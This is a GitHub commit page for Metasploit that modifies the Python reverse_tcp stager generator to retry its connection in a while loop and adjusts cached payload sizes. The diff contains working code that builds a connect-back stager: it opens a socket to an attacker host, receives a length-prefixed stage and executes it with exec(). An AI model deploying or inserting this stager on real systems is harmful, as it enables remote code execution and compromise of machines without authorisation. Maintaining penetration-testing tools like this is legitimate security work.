Skip to content

Commit cd73bd1

Browse files
committed
Making use of while loop and solving StagerRetryWait issue
1 parent bd23797 commit cd73bd1

File tree

3 files changed

+25
-19
lines changed

3 files changed

+25
-19
lines changed

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 23 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -44,24 +44,30 @@ def transport_config(opts={})
4444

4545
def generate_reverse_tcp(opts={})
4646
# Set up the socket
47-
cmd = "import socket,struct\n"
48-
cmd << "import time\n"
49-
cmd << "def connect():\n"
50-
cmd << "\ttry:\n"
51-
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
52-
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
47+
cmd = "import socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
48+
if datastore['StagerRetryWait'].blank? # do not retry at all (old style)
49+
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
50+
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
51+
else
52+
cmd << "while 1:\n"
53+
cmd << "\ttry:\n"
54+
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
55+
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
56+
cmd << "\t\tbreak\n"
57+
cmd << "\texcept:\n"
58+
if datastore['StagerRetryWait'].to_i <= 0
59+
cmd << "\t\tpass\n" # retry immediately
60+
else
61+
cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting
62+
end
63+
end
5364
cmd << py_send_uuid if include_send_uuid
54-
cmd << "\t\tl=struct.unpack('>I',s.recv(4))[0]\n"
55-
cmd << "\t\td=s.recv(l)\n"
56-
cmd << "\t\twhile len(d)<l:\n"
57-
cmd << "\t\t\td+=s.recv(l-len(d))\n"
58-
cmd << "\t\texec(d,{'s':s})\n"
59-
cmd << "\texcept Exception:\n"
60-
cmd << "\t\t\ttime.sleep(#{opts[:retry_wait]})\n"
61-
cmd << "\t\t\tconnect()\n"
62-
cmd << "connect()\n"
63-
64-
65+
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
66+
cmd << "d=s.recv(l)\n"
67+
cmd << "while len(d)<l:\n"
68+
cmd << "\td+=s.recv(l-len(d))\n"
69+
cmd << "exec(d,{'s':s})\n"
70+
6571
py_create_exec_stub(cmd)
6672
end
6773

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 502
14+
CachedSize = 362
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 606
14+
CachedSize = 466
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python

0 commit comments

Comments
 (0)